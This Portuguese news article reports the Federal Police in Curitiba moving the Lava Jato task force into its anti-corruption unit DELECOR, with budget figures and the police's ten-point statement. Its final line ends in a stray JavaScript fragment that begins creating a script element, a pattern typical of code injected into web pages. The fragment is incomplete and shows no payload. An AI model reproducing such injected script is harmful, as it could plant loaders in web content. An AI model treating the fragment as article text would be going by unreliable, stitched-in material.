Por meio de nota, a Polícia Federal de Curitiba anunciou nesta quinta-feira (6) que o grupo que atuava na força-tarefa da Operação Lava Jato foi transferido para a Delegacia de Combate à Corrupção e Desvio de Verbas Públicas (DELECOR). Segundo o PF, a medida visa priorizar as investigações contra a corrupção e lavagem de dinheiro.
Há um mês, houve um corte de verba destinado à Superintendência da Polícia Federal do Paraná, responsável pela Lava Jato. Foram destinados R$ 20,5 milhões, sendo R$ 3,4 milhões para os gastos extras da operação. Enquanto em 2016, o investimento foi de R$ 29,1 milhões – R$ 4,1 milhões especificamente para a Lava Jato. A queda foi de 29,5% e houve um contingenciamento de 44% da verba.
Os recursos destinados à operação, em 2014, durante o governo da ex-presidente Dilma Rousseff, cresceram 44% em comparação ao ano anterior – de R$ 14 milhões para R$ 20,4 milhões. Não houve aumento em 2015.
Leia a nota na íntegra:
Sobre a nota “PF acaba com grupo de trabalho da Lava Jato em Curitiba”, veiculada no portal da revista Época, a Polícia Federal informa:
1. Tendo em vista que cada delegado do Grupo de Trabalho da Lava Jato possuía cerca de vinte inquéritos cada um, essa equipe, juntamente com o Grupo de Trabalho da Operação Carne Fraca, passou a integrar a Delegacia de Combate à Corrupção e Desvio de Verbas Públicas (DELECOR);
2. A medida visa priorizar ainda mais as investigações de maior potencial de dano ao erário, uma vez que permite o aumento do efetivo especializado no combate à corrupção e lavagem de dinheiro e facilita o intercâmbio de informações;
3. Com a nova sistemática de trabalho, nenhum dos delegados atuantes na Lava Jato terá aumento de carga de trabalho, mas, ao contrário, ela será reduzida em função da incorporação de novas autoridades policiais;
4. O número de policiais dedicados a essas investigações chega a 70;
5. A iniciativa da integração coube ao Delegado Regional de Combate ao Crime Organizado do Paraná, delegado Igor Romário de Paula, coordenador da Operação Lava Jato no estado, e foi corroborada pelo Superintendente Regional, delegado Rosalvo Franco;
6. O modelo é o mesmo adotado nas demais superintendências da PF com resultados altamente satisfatórios, como são exemplos as operações oriundas da Lava Jato deflagradas pelas unidades do Rio de Janeiro, Distrito Federal e São Paulo, entre outros;
7. Também foi firmado o apoio de policiais da Superintendência do Espírito Santo, incluindo os delegados Márcio Anselmo e Luciano Flores, ex-integrantes da Operação Lava Jato;
8. O atual efetivo na Superintendência Regional no Paraná está adequado à demanda e será reforçado em caso de necessidade;
9. Conforme nota divulgada no dia 21/05/2017, deve-se ressaltar que as investigações decorrentes da Operação Lava Jato não se concentram somente em Curitiba, mas compreendem o Distrito Federal e outros dezesseis estados;
10. Desde o início, a Polícia Federal, de forma republicana e sem partidarismos, trabalha arduamente para o êxito das investigações, garantindo toda a estrutura e logística necessária para o esclarecimento dos crimes investigados. Divisão de Comunicação Social.var d=document;var s=d.createElement(\’script\’);